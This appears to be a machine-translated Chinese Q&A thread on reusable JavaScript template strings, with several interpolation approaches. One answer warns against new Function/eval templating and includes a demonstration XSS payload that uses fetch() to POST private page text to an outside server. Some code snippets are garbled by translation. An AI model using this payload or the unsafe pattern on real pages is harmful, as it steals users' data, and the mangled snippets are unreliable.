如果你正在寻找一些相当简单的东西(只是固定的变量字段，没有计算，条件…)，但这也适用于没有模板字符串支持的浏览器客户端，如IE 8,9,10,11…

开始吧:

fillTemplate = function (templateString, templateVars) {
    var parsed = templateString;
    Object.keys(templateVars).forEach(
        (key) => {
            const value = templateVars[key]
            parsed = parsed.replace('${'+key+'}',value)
        }
    )
    return parsed
}

我解决了这个插值模板使用:

function flatKeys(inputObject: any): {[key: string]: any} {
    const response: {[key: string]: any} = {};
  function iterative(currentObject: any, parentKeys: string[]=[]) {
    const llaves = Object.keys(currentObject);
    for (let i=0; i<llaves.length; i++) {
        const llave: string = llaves[i];
      const valor = currentObject[llave];
      const llavesNext = parentKeys.concat(llave);
      if (typeof valor == 'object') {
        iterative(valor, llavesNext);
      } else {
        response[llavesNext.join('.')] = valor;
      }
    }
  }
  iterative(inputObject);
  return response;
}

function interpolate(template: string, values: any, defaultValue='') {
  const flatedValues = flatKeys(values);
  const interpolated = template.replace(/\${(.*?)}/g, function (x,g) {
    const value = flatedValues[g];
    if ([undefined, null].indexOf(value) >= 0) {
      return defaultValue;
    }
    return value;
  });
  return interpolated;
}

const template = "La ${animal.name} tomaba ${alimento.name} con el ${amigos.0.names}";
const values = {
    animal: {
    name:"Iguana"
  },
  alimento: {
    name: "café"
  },
  amigos: [
    { name: "perro" },
    true
  ]
};

const interpolated = interpolate(template, values);

console.log(interpolated);

是的，你可以通过解析你的字符串模板作为JS函数(或eval) -但这是不建议的，允许XSS攻击

// unsafe string-template function const fillTemplate = function(templateString, templateVars){ return new Function("return `"+templateString +"`;").call(templateVars); } function parseString() { // Example malicious string which will 'hack' fillTemplate function var evilTemplate = "`+fetch('https://server.test-cors.org/server?id=9588983&enable=true&status=200&credentials=false',{method: 'POST', body: JSON.stringify({ info: document.querySelector('#mydiv').innerText }) }) + alert('stolen')||''`"; var templateData = {Id:1234, User:22}; var result = fillTemplate(evilTemplate, templateData); console.log(result); alert(`Look on Chrome console> networks and look for POST server?id... request with stolen data (in section "Request Payload" at the bottom)`); } #mydiv { background: red; margin: 20px} .btn { margin: 20px; padding: 20px; } <pre> CASE: system allow users to use 'templates' and use fillTemplate function to put variables into that templates Then backend save templates in DB and show them to other users... Some bad user/hacker can then prepare malicious template with JS code... and when other logged users "see" that malicious template (e.g. by "Click me!" in this example), then it can read some information from their current page with private content and send it to external server. Or in worst case, that malicious template can send some authorized "action" request to the backend... (like e.g. action which delete some user content or change his name etc.). In case when logged user was Admin then action can be even more devastating (like delete user etc.) </pre> <div id='mydiv'> Private content of some user </div> <div id="msg"></div> <button class="btn" onclick="parseString()">Click me! :)</button>

相反，你可以安全地以如下方式动态地将对象obj字段插入模板str

let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);

让注入= (str, obj) = > str.replace (/\${(.*?)}/ g (x, g) = > obj [g]); //——test—— //对象中的参数 let t1 = '我的名字是${name}，我是${age}。我哥哥的名字也是${name}.'; let r1 = inject(t1， {name: 'JOHN'，年龄:23}); console.log(“对象:r1); //数组中的参数 let t2 = " ${0}的值在${2}数组中，${1}的值为${0}。" let r2 = inject(t2， ['A,B,C'， 666， 'BIG']); console.log("ARRAY:"， r2);

如果你不想使用有序参数或上下文/命名空间来引用模板中的变量，例如${0}，${this. xml。Something}，或者${data。Something}，你可以有一个模板函数来为你处理范围。

如何调用这样一个模板的例子:

const tempGreet = Template(() => `
  <span>Hello, ${name}!</span>
`);
tempGreet({name: 'Brian'}); // returns "<span>Hello, Brian!</span>"

模板函数:

function Template(cb) {
  return function(data) {
    const dataKeys = [];
    const dataVals = [];
    for (let key in data) {
      dataKeys.push(key);
      dataVals.push(data[key]);
    }
    let func = new Function(...dataKeys, 'return (' + cb + ')();');
    return func(...dataVals);
  }
}

在这种情况下，你只需要传递一个返回ES6模板文字的函数(在这个例子中，我使用了一个箭头函数)。我认为要得到我们所追求的那种可重用的插值，这是一个小小的权衡。

这里是GitHub: https://github.com/Adelphos/ES6-Reuseable-Template

2021年出现了迄今为止最直接的解决方案。

const tl = $ =>`This ${$.val}`;
tl({val: 'code'});

这几乎等同于仅仅编写和重用模板文字(OP想要的)。

你可以从这里开始调整……

你可以在函数中放入一个模板字符串:

function reusable(a, b) {
  return `a is ${a} and b is ${b}`;
}

你可以用带标签的模板做同样的事情:

function reusable(strings) {
  return function(... vals) {
    return strings.map(function(s, i) {
      return `${s}${vals[i] || ""}`;
    }).join("");
  };
}

var tagged = reusable`a is ${0} and b is ${1}`; // dummy "parameters"
console.log(tagged("hello", "world"));
// prints "a is hello b is world"
console.log(tagged("mars", "jupiter"));
// prints "a is mars b is jupiter"

其思想是让模板解析器从变量“slots”中分离出常量字符串，然后返回一个函数，该函数每次都根据一组新的值将它们重新组合在一起。